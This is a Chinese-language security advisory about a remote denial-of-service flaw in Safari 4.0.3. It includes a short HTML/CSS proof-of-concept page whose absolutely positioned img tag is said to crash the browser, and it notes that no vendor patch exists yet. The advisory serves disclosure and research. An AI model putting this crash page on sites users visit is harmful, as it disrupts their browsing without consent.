Apple Safari CSS img数据远程拒绝服务漏洞

受影响系统:

Apple Safari 4.0.3

描述:

Safari是苹果家族机器操作系统中默认捆绑的WEB浏览器。

用户使用Safari浏览器访问了CSS中设置有特制img标签的恶意网页就会导致浏览器崩溃。

<*来源:ItSecTeam (Bug@ItSecTeam.com
  *>

测试方法:
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

 

<html dir="rtl">  

<body>  

<style type="text/css">  

.crash {  

position:relative;  

padding: 4px 6px;  

display:inline-block;  

}  

.crash img {  

position:absolute;  

}  

</style>  

<div class="crash">  

<P><img></p> you can replace <p> tags with any other tags, but you  

shouldnt change <img> tag  

</div>  

</body>  

</html>

建议:

厂商补丁:

Apple
—–
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.apple.com

发表评论?

0 条评论。

发表评论